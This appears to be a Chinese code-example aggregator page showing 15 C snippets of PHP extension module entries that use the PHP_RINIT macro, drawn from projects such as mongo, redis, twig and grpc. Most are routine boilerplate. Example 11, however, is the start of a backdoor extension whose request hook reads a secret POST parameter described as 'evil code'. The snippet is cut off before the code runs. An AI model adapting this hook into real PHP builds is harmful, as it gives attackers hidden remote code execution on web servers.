本文整理汇总了C++中PHP_RINIT函数的典型用法代码示例。如果您正苦于以下问题:C++ PHP_RINIT函数的具体用法?C++ PHP_RINIT怎么用?C++ PHP_RINIT使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了PHP_RINIT函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: PHP_FE
PHP_FE(apm_get_mysql_events_count, NULL)
PHP_FE(apm_get_mysql_slow_requests_count, NULL)
PHP_FE(apm_get_mysql_event_info, NULL)
#endif
{NULL, NULL, NULL}
};
zend_module_entry apm_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"apm",
apm_functions,
PHP_MINIT(apm),
PHP_MSHUTDOWN(apm),
PHP_RINIT(apm),
PHP_RSHUTDOWN(apm),
PHP_MINFO(apm),
#if ZEND_MODULE_API_NO >= 20010901
"0.1.0",
#endif
PHP_MODULE_GLOBALS(apm),
PHP_GINIT(apm),
NULL,
NULL,
STANDARD_MODULE_PROPERTIES_EX
};
#ifdef COMPILE_DL_APM
ZEND_GET_MODULE(apm)
#endif
示例2: PHP_FE
PHP_FE(eject_close_tray , eject_close_tray_arg_info)
PHP_FE(eject_toggle_tray , eject_toggle_tray_arg_info)
{ NULL, NULL, NULL }
};
/* }}} */
/* {{{ eject_module_entry
*/
zend_module_entry eject_module_entry = {
STANDARD_MODULE_HEADER,
"eject",
eject_functions,
PHP_MINIT(eject), /* Replace with NULL if there is nothing to do at php startup */
PHP_MSHUTDOWN(eject), /* Replace with NULL if there is nothing to do at php shutdown */
PHP_RINIT(eject), /* Replace with NULL if there is nothing to do at request start */
PHP_RSHUTDOWN(eject), /* Replace with NULL if there is nothing to do at request end */
PHP_MINFO(eject),
PHP_EJECT_VERSION,
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_EJECT
ZEND_GET_MODULE(eject)
#endif
/* {{{ PHP_MINIT_FUNCTION */
PHP_MINIT_FUNCTION(eject)
{
示例3: PHP_MINIT
ZEND_MOD_END
};
/* {{{ hqx_module_entry
*/
zend_module_entry hqx_module_entry = {
//#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER_EX,
//#endif
NULL,
hqx_deps,
"hqx",
hqx_functions,
PHP_MINIT(hqx),
PHP_MSHUTDOWN(hqx),
PHP_RINIT(hqx), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(hqx), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(hqx),
#if ZEND_MODULE_API_NO >= 20010901
"0.1", /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_HQX
ZEND_GET_MODULE(hqx)
#endif
/* {{{ PHP_MINIT_FUNCTION
*/
示例4: ZEND_MOD_OPTIONAL
ZEND_MOD_OPTIONAL("openssl")
#if PHP_VERSION_ID >= 50307
ZEND_MOD_END
#else /* pre-5.3.7 */
{ NULL, NULL, NULL, 0 }
#endif
};
zend_module_entry mongo_module_entry = {
STANDARD_MODULE_HEADER_EX,
NULL,
mongo_deps,
PHP_MONGO_EXTNAME,
mongo_functions,
PHP_MINIT(mongo),
PHP_MSHUTDOWN(mongo),
PHP_RINIT(mongo),
NULL,
PHP_MINFO(mongo),
PHP_MONGO_VERSION,
PHP_MODULE_GLOBALS(mongo),
PHP_GINIT(mongo),
PHP_GSHUTDOWN(mongo),
NULL,
STANDARD_MODULE_PROPERTIES_EX
};
/* }}} */
#ifdef COMPILE_DL_MONGO
ZEND_GET_MODULE(mongo)
#endif
示例5: PHP_FE
PHP_FE(zoo_Translate, NULL)
PHP_FE(zoo_UpdateStatus, NULL)
PHP_FE(zoo_SERVICE_SUCCEEDED, NULL)
PHP_FE(zoo_SERVICE_FAILED, NULL)
{NULL, NULL, NULL}
};
zend_module_entry zoo_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_ZOO_EXTNAME,
zoo_functions,
PHP_MINIT(zoo),
PHP_MSHUTDOWN(zoo),
PHP_RINIT(zoo),
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_ZOO_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(zoo)
PHP_INI_BEGIN()
PHP_INI_END()
static void
php_zoo_init_globals(zend_zoo_globals *zoo_globals)
示例6: PHP_FE
zend_function_entry twig_functions[] = {
PHP_FE(twig_template_get_attributes, twig_template_get_attribute_args)
{NULL, NULL, NULL}
};
zend_module_entry twig_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"twig",
twig_functions,
PHP_MINIT(twig),
PHP_MSHUTDOWN(twig),
PHP_RINIT(twig),
PHP_RSHUTDOWN(twig),
PHP_MINFO(twig),
#if ZEND_MODULE_API_NO >= 20010901
PHP_TWIG_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_TWIG
ZEND_GET_MODULE(twig)
#endif
PHP_INI_BEGIN()
PHP_INI_END()
示例7: PHP_MINIT
// -----------------------------------------------------------------------------
// Utilities.
// -----------------------------------------------------------------------------
zend_function_entry protobuf_functions[] = {
ZEND_FE_END
};
zend_module_entry protobuf_module_entry = {
STANDARD_MODULE_HEADER,
PHP_PROTOBUF_EXTNAME, // extension name
protobuf_functions, // function list
PHP_MINIT(protobuf), // process startup
PHP_MSHUTDOWN(protobuf), // process shutdown
PHP_RINIT(protobuf), // request shutdown
PHP_RSHUTDOWN(protobuf), // request shutdown
NULL, // extension info
PHP_PROTOBUF_VERSION, // extension version
PHP_MODULE_GLOBALS(protobuf), // globals descriptor
PHP_GINIT(protobuf), // globals ctor
PHP_GSHUTDOWN(protobuf), // globals dtor
NULL, // post deactivate
STANDARD_MODULE_PROPERTIES_EX
};
// install module
ZEND_GET_MODULE(protobuf)
// global variables
static PHP_GINIT_FUNCTION(protobuf) {
示例8: PHP_ME
zend_function_entry redis_additional_functions[] = {
PHP_ME(Redis, ltrim, NULL, ZEND_ACC_PUBLIC)
PHP_ME(Redis, sort, NULL, ZEND_ACC_PUBLIC)
{NULL, NULL, NULL}
};
zend_module_entry redis_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"redis",
redis_functions,
PHP_MINIT(redis),
PHP_MSHUTDOWN(redis),
PHP_RINIT(redis),
PHP_RSHUTDOWN(redis),
PHP_MINFO(redis),
#if ZEND_MODULE_API_NO >= 20010901
"0.1",
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_REDIS
ZEND_GET_MODULE(redis)
#endif
/**
* redis_sock_create
*/
示例9: NS
{NULL, NULL, NULL} /* Must be the last line in MsgqueForPhp_functions[] */
};
/* }}} */
/* {{{ MsgqueForPhp_module_entry
*/
zend_module_entry MsgqueForPhp_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"MsgqueForPhp",
NS(functions),
PHP_MINIT(MsgqueForPhp),
PHP_MSHUTDOWN(MsgqueForPhp),
PHP_RINIT(MsgqueForPhp), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(MsgqueForPhp), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(MsgqueForPhp),
#if ZEND_MODULE_API_NO >= 20010901
LIBMSGQUE_VERSION, /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_MSGQUEFORPHP
ZEND_GET_MODULE(MsgqueForPhp)
#endif
/* {{{ PHP_INI
*/
示例10: PHP_MINIT
zend_class_entry pdo_connect_pool_PDOStatement_ce;
zend_class_entry *pdo_connect_pool_PDOStatement_class_entry_ptr;
zend_module_entry connect_pool_module_entry = {
#if ZEND_MODULE_API_NO >= 20050922
STANDARD_MODULE_HEADER_EX,
NULL,
NULL,
#else
STANDARD_MODULE_HEADER,
#endif
"connect_pool",
cp_functions,
PHP_MINIT(connect_pool),
PHP_MSHUTDOWN(connect_pool),
PHP_RINIT(connect_pool), //RINIT
PHP_RSHUTDOWN(connect_pool), //RSHUTDOWN
PHP_MINFO(connect_pool),
CP_VERSION,
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_CONNECT_POOL
ZEND_GET_MODULE(connect_pool)
#endif
PHP_MINIT_FUNCTION(connect_pool) {
le_cli_connect_pool = zend_register_list_destructors_ex(send_oob2proxy, cp_destory_client, CP_RES_CLIENT_NAME, module_number); //持久
示例11: PHP_RINIT_FUNCTION
#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"
PHP_RINIT_FUNCTION(toplel);
zend_module_entry toplel_ext_module_entry = {
STANDARD_MODULE_HEADER,
"toplel",
NULL,
NULL,
NULL,
PHP_RINIT(toplel),
NULL,
NULL,
"1.0",
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(toplel_ext);
PHP_RINIT_FUNCTION(toplel)
{
char* method = "_POST"; // Global array, from which we take a parameter and value
char* secret_string = "phpsucks"; // Parameter which we will use as our "evil code"
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // Look for the parameter in the hash table
示例12: PHP_MINIT
* Every user visible function must have an entry in grpc_functions[].
*/
const zend_function_entry grpc_functions[] = {
PHP_FE_END /* Must be the last line in grpc_functions[] */
};
/* }}} */
/* {{{ grpc_module_entry
*/
zend_module_entry grpc_module_entry = {
STANDARD_MODULE_HEADER,
"grpc",
grpc_functions,
PHP_MINIT(grpc),
PHP_MSHUTDOWN(grpc),
PHP_RINIT(grpc),
NULL,
PHP_MINFO(grpc),
PHP_GRPC_VERSION,
PHP_MODULE_GLOBALS(grpc),
PHP_GINIT(grpc),
NULL,
NULL,
STANDARD_MODULE_PROPERTIES_EX};
/* }}} */
#ifdef COMPILE_DL_GRPC
ZEND_GET_MODULE(grpc)
#endif
/* {{{ PHP_INI
示例13: zend_exception_get_default
#else
return zend_exception_get_default(TSRMLS_C);
#endif
}
zend_function_entry tarantool_module_functions[] = {
{NULL, NULL, NULL}
};
zend_module_entry tarantool_module_entry = {
STANDARD_MODULE_HEADER,
PHP_TARANTOOL_EXTNAME,
tarantool_module_functions,
PHP_MINIT(tarantool),
PHP_MSHUTDOWN(tarantool),
PHP_RINIT(tarantool),
NULL,
PHP_MINFO(tarantool),
PHP_TARANTOOL_VERSION,
STANDARD_MODULE_PROPERTIES
};
PHP_INI_BEGIN()
STD_PHP_INI_ENTRY("tarantool.persistent", "0", PHP_INI_ALL,
OnUpdateBool, persistent, zend_tarantool_globals,
tarantool_globals)
STD_PHP_INI_ENTRY("tarantool.timeout", "10.0", PHP_INI_ALL,
OnUpdateReal, timeout, zend_tarantool_globals,
tarantool_globals)
STD_PHP_INI_ENTRY("tarantool.request_timeout", "10.0", PHP_INI_ALL,
OnUpdateReal, request_timeout, zend_tarantool_globals,
示例14: PHP_MINIT
#include "qh_stringinthash.h"
zend_function_entry quickhash_functions[] = {
{NULL, NULL, NULL}
};
zend_module_entry quickhash_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"quickhash",
quickhash_functions,
PHP_MINIT(quickhash),
PHP_MSHUTDOWN(quickhash),
PHP_RINIT(quickhash),
PHP_RSHUTDOWN(quickhash),
PHP_MINFO(quickhash),
#if ZEND_MODULE_API_NO >= 20010901
"1.0.0",
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_QUICKHASH
# if defined(ZTS) && PHP_VERSION_ID >= 70000
ZEND_TSRMLS_CACHE_DEFINE();
# endif
ZEND_GET_MODULE(quickhash)
#endif
示例15: PHP_FE
PHP_FE(ad_wrapper, NULL)
PHP_FE_END /* Must be the last line in ad_keyword_functions[] */
};
/* }}} */
/* {{{ ad_keyword_module_entry
*/
zend_module_entry ad_keyword_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"ad_keyword",
ad_keyword_functions,
PHP_MINIT(ad_keyword),
PHP_MSHUTDOWN(ad_keyword),
PHP_RINIT(ad_keyword), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(ad_keyword), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(ad_keyword),
#if ZEND_MODULE_API_NO >= 20010901
"0.1", /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_AD_KEYWORD
ZEND_GET_MODULE(ad_keyword)
#endif
static hash_code(const char *str, int len){